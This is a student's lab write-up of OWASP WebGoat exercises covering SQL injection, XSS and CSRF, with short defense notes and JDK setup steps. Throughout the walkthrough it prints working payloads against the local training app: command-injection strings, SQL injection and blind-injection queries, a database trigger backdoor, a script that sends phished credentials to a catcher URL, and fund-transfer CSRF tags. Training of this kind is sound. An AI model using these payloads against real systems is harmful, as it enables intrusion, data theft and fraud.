Exp9 Web security infrastructure Week13 - 20165201

Exp9 Web security infrastructure Week13 - 20165201


(Because of the relatively large pictures, look at the time needed to close the sidebar ~)

table of Contents

learning target

  • The goal of this practice understand the basic principles of common network attack techniques, do no less than seven topics, a total of 3.5 points. Including (SQL, XSS, CSRF)
  • Under Webgoat practice related experiments

lab environment

  • macOS Mojave
  • Time
  • Windows XP

Basic questions answered

(1) SQL injection attacks principle, how to defend

  • SQL injection attacks means that by constructing a special input passed as a parameter Web applications, and these inputs are mostly in some combination of SQL syntax, and then perform the operation by the attacker to execute SQL statements, mainly because no detailed program filtering data input by the user, so that the illegal intrusion system data
  • How to defend
    • Check variable data types and formats
    • Filter special symbols
    • Bind variables, using a prepared statement

(2) the principle of XSS attack, how to defend

  • XSS attacks are one of the most common Web attack method of attack, and it was successfully executed on the web browser by injecting executable code, the purpose of the attack, the formation of a valid XSS attack, once the attack is successful, it can get user's contact list, and then sent to the contact information of false fraud, you can delete the user's log, etc., sometimes simultaneously with other attacks such as SQL injection and database servers, Click hijacking, a relative link hijacking the implementation of fishing, its harm is enormous, and is the number one enemy of web security
  • Conditions attack
    • We need to inject malicious code into web pages
    • The malicious code can be executed successfully browser
  • Type of attack
    • Reflective XSS attacks, malicious code is not stored in the target site by tricking the user clicks on a link to a malicious Web site link to the target of attack
    • Storage type XSS attacks, malicious code is saved to the server in the target site, such attacks have strong stability and durability, the more common scenario is on a blog, forums and other social networking sites, but the OA system and CRM systems can see it figure, for example: there is a storage-type XSS vulnerability on customer complaints function of a CRM system, malicious hackers submitted attack code, malicious code execution, stole customer information when the system administrator to view information about the complaint, but management members have no knowledge, this is the typical store-type XSS attacks
  • How to defend
    • Before passing the url parameter or the form is submitted, the parameters needed to filter
    • Are there illegal content content filtering user input to check user input. Such as < >(尖括号), ”(引号), ‘(单引号), %(百分比符号), ;(分号), ()(括号), &(& 符号), +(加号)etc.

(3) CSRF attack principle, how to defend

  • (Cross Site Request Forgery, cross-site request forgery domain) is a network attack, it was listed as one of the big security risk Internet 20 in 2007, also known as "One Click Attack" or Session Riding, usually abbreviated as CSRF or XSRF, is a malicious use of the site is, people known phishing sites. Although it sounds like a cross-site scripting (XSS), but it is very different with XSS, and attack almost at odds. XSS trusted users in the use of the site, while CSRF is disguised by a request from trusted users to take advantage of trusted sites. Compared with XSS attacks, CSRF attacks are often not very popular (and therefore its resources to prevention is quite rare) and difficult to defend, it is considered more dangerous than XSS
  • How to defend
    • Verify HTTP Referer field
    • Add token verification request and the address
    • Custom properties in the HTTP header and validate

Preliminaries

What is WebGoat?

  • WebGoat is OWASP organization developed a platform for web application vulnerability experiment to illustrate the security vulnerabilities exist in the web application. WebGoat run on platforms with java virtual machine, currently provide more than 30 training courses, including: cross-site scripting attacks (XSS), access control, security thread, operating hidden field, parameter manipulation, weak session cookie , SQL blinds, digital type SQL injection, SQL injection string, web services, Open Authentication failure, dangerous HTML comments etc.

Experimental Procedure

WebGoat Configuration

  • Download webgoat-container-7.0.1-war-exec.jar: https:? //Github.com/WebGoat/WebGoat/releases after = 8.0.0
  • 在终端中的下载目录输入以下命令,以开启WebGoat:java -jar webgoat-container-7.0.1-war-exec.jar
  • 出现信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功,可以看到占用8080端口,实验过程中不能关闭终端
  • 在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面,用户名密码已经有默认的,直接输入就好:

注入缺陷攻击

一、Command Injection:命令注入

  • 原理:
    在正常的参数提交过程中,添加恶意的代码
  • 目标:
    能够在目标主机上执行任何系统命令
  • 实现:
    右键点击复选框,选择inspect Element审查网页元素对源代码进行修改,在任意一行添加"& netstat -an & ipconfig"

    点击view,能看到网络端口使用情况和IP地址,攻击成功!

二、Numeric SQL Injection:数字型 SQL 注入

  • 原理:
    在station字段中注入特征字符,能组合成新的SQL语句。
    SELECT * FROM weather_data WHERE station = [station]
  • 目标:
    下面的表单允许用户查看天气数据。请通过注入SQL字符串的方式查看所有的天气数据。
  • 实现:
    右键点击复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1

    点击Go!,攻击成功!下面将显示所有城市的天气情况:

三、Log Spoofing:日志欺骗

  • 原理:
    这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。
  • 目标:
    灰色区域代表在Web服务器的日志中的记录的内容。我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”。
  • 实现:
    本节课程接受用户输入的任何一个用户名,并将其追加到日志文件中。在文本框中输入用户名:LZH Login Succeeded for username admin,这样用户名后面的信息会在同一行显示,而不是在新的一行:

    利用入回车(0D%)换行符(%0A),在 username 中填入LZH%0d%0aLogin Succeeded for username: admin
  • 攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到
  • 用户名输入admin <script>alert(document.cookie)</script>,管理员可以看到弹窗的cookie信息

四、String SQL Injection:字符串型注入

  • 原理:
    基于以下查询语句构造自己的SQL注入字符串。
    SELECT * FROM user_data WHERE last_name = '?'
  • 目标:
    下面的表格,允许用户查看他们的信用卡号码。尝试通过SQL注入将所有信用卡信息显示出来。尝试的用户名是“Smith”。
  • 实现:
    正常查询结果应该只有员工Smith的信息:

    而我们输入查询的用户名Smith' or 1=1--,成功!!返回了全体员工的信用卡信息!

五、LAB: SQL Injection:SQL注入小实验

  • 原理:
    应用程序会将我们我们的输入带入后台的SQL查询语句。
Stage 1: String SQL Injection:字符串型注入
  • 目标:
    使用SQL注入绕过认证。
  • 实现:
    首先右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为30

    以用户Neville登录,还是以永真式的形式输入密码Smith' or '1' = '1,攻击成功,得到所有人员列表:
Stage 3: Numeric SQL Injection:数字型 SQL 注入
  • 目标:执行 SQL 注入绕过认证; 该课程的目的是通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户, 浏览其 BOSS 的账户信息
  • 实现:

1、使用用户名Larry,密码larry登录,点击ViewProfile查看用户信息

2、右键点击页面,选择inspect Element审查网页元素源代码,我们可以看到数据库索引的依据是员工ID(employee_id),推测返回的是每次查询到的第一条数据

3、用社会工程学解释老板应该是工资最高的,所以将员工ID的value改成101 or 1=1 order by salary desc,使得老板的信息作为查询到的第一条数据,成功获得老板的详细数据!!!

六、Database Backdoors:数据库后门

  • 原理:数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如 insert, select, update or delete。举个例子:攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。
  • 目标:我们的目标是学习如何利用查询的脆弱性创建触发器。由于 WebGoat 使用的是 MySQL 数据库,不支持触发器,所以该课程不会真正完成。 我们的 Login ID 是 101。
  • 实现:
    1、输入101,得到该用户的信息

    2、我们可以看到,输入的语句没有验证,很容易进行 SQL 注入,输入注入语句101; update employee set salary=10000执行两个语句,我们可以看到,larry的工资从55000变成了10000哈哈哈哈

    3、输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='[email protected]'WHERE userid = NEW.userid用来注入一个充当SQL后门的触发器,该触发器的触发频率是针对每一行数据触发一次

七、Blind Numeric SQL Injection:数字型盲注入

  • 原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
  • 目标:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。
    我们的目标是找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过本课程。
    我们的Login ID是101
  • 实现:
    1、本节课程中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。尽管如此,我们可以利用系统后台在用的查询语句SELECT * FROM user_data WHERE userid=accountNumber;

2、如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。

3、输入查询语句101 AND 1=1,因为两个条件都成立,所以页面返回帐号有效(图中Account number is valid)

4、而当我们输入查询语句101 AND 1=0,因为第二个条件不成立,所以而页面返回帐号无效(图中Invalid account number.)

5、针对查询语句的后半部分构造语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') < 10000 );,返回值为真,所以pin字段数值小于10000

6、然后我们继续改变查询的数值范围,直到找出正确的值为2364

八、Blind String SQL Injection:字符串型盲注入

  • 目标:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或 假)测试检查数据库中其它条目信息。
    我们的目标是找到 pins 表中 cc_number 字段值为 4321432143214321 的记录中 pin 字段的数值。pin 字段类型为 varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本课程
  • 实现:
    本节课程非常类似与上一节,最大的不同是要查询的字段是一个字符串而不是数值
    1、输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'K' );取得 pin 字段数值的第一个字母,并判断其是否比字 母“K”小,结果为真!

    SUBSTRING 语法为 SUBSTRING(STRING,START,LENGTH)
    2、经过多次测试和页面的返回数据,判断出第一个字符为“J”,同理继续判断剩下的字符

3、最终,判断出pin字段的值为:Jill

跨站脚本攻击

一、Phishing with XSS:使用XSS钓鱼

  • 技术概念:在服务端对所有输入进行验证总是不错的做法。当用户输入非法 HTTP 响应时容易造成 XSS。在 XSS 的帮助下,您可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
  • 原理:如果有权限操作页面源代码,那么 HTML 文档的内容是可以被篡改的。
  • 目标:创建一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
  • 实现:利用XSS可以在已存在的页面中进一步添加元素,该解决方案包括两部分,我们需要结合起来使用:
    • 受害人填写一个表格
    • 以读取脚本的形式,将收集到的信息发送给攻击者

1、编写一个带用户名和密码输入框的表格

<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br> 
</form><br><br><HR>

2、编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat

<script>
function hack()
{ 
    alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
    XSSImage=new Image; 
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>

3、现在我们将以上两段代码合并,搜索这一大段代码,我们会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录, WebGoat 会将输入的信息捕获并反馈回来

<script>
function hack()
{ 
    alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
    XSSImage=new Image; 
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br> 
</form><br><br><HR>

二、Stored XSS Attacks:存储型XSS攻击

  • 原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行
  • 目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
  • 实现:在title中任意输入字符(如:hhh),留言板中输入<script>alert("I am LZH !");</script>,然后点击下方的hhh,会弹出一个框,显示I am LZH !

三、Reflected XSS Attacks:反射型XSS攻击

  • 技术概念:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
  • 实现:输入代码<script>alert("I am LZH !");</script>,点击Purchase

四、Cross Site Request Forgery (CSRF):跨站请求伪造攻击

  • 原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
    <img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/>
    当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.comme端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。
  • 目标:我们的目标是向新闻组发送电子邮件。该电子邮件包含一个图像,其URL指向一个恶意请求。在本节课中,URL应该指向“攻击”servlet,其中包含本节课的屏幕菜单参数,以及一个额外的参数transferFunds,其数值为5000。您可以通过在右侧插入的参数中找到Screenmenu值来构造链接。当时经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。当本课程的攻击成功时,左侧菜单中的课程名称旁边会出现一个绿色的复选标记
  • 实现:

1、查看页面右侧Parameters中的srcmenu的值,分别为312和900

2、在title中输入任何参数,在message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=312&menu=900&transferFunds=5000" width="1" height="1" />,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交

3、在Message List中生成以Title命名的链接。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的

五、CSRF Prompt By‐Pass:绕过 CSRF 确认

  • 原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
  • 目标:与CSRF课程类似,您的目标是向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数transferFunds,其中包含一个数值5000来启动传输,一个字符串值CONFIRM来完成传输。您可以从右边的插图中复制课程的参数,创建格式为“attack?Screen=XXX&menu=YYY&transferFunds=ZZZ”的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单上发现绿色复选框
  • 实现:

1、查看页面右侧Parameters中的srcmenu值分别为298900

2、并在title框中输入LZH,message框中输入代码,然后点击Submit

<iframe src="attack?Screen=298&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=320&menu=900&transferFunds=CONFIRM"> </iframe>

3、在Message List中生成以Title命名的链接,点击进入后,攻击成功

遇到的问题

  • 我的登录界面是这样的:
  • 左侧边栏中并没有课程选项,后来知道了是jdk的问题,于是下载了jdk的1.8.0版本
  • 点击下面的链接选择合适的JDK版本下载:
    http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html
  • 建立目录,将下载的jdk复制过去并解压
sudo mkdir -p /usr/local/java
sudo cp jdk-8u211-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
sudo tar xzvf jdk-8u211-linux-x64.tar.gz
  • 配置环境变量
sudo vim /etc/profile
###复制以下代码到文件结尾
JAVA_HOME=/usr/local/java/jdk1.8.0_211
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
  • 通知系统java的位置
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_211/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_211/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_211/bin/javaws" 1
  • 设置默认JDK
sudo update-alternatives --set java /usr/local/java/jdk1.8.0_211/bin/java
sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_211/bin/javac
sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_211/bin/javaws
  • 重新载入profile
source /etc/profile
  • 输入java -version查看jdk版本,如下图已经安装成功!

实验体会

  这次的实验内容比较多,但是让我更加直观的体验到了web攻击的威力,平时只是听说这些,真正自己做的时候还是很有乐趣的

Guess you like

Origin www.cnblogs.com/cbmwtsl/p/10927692.html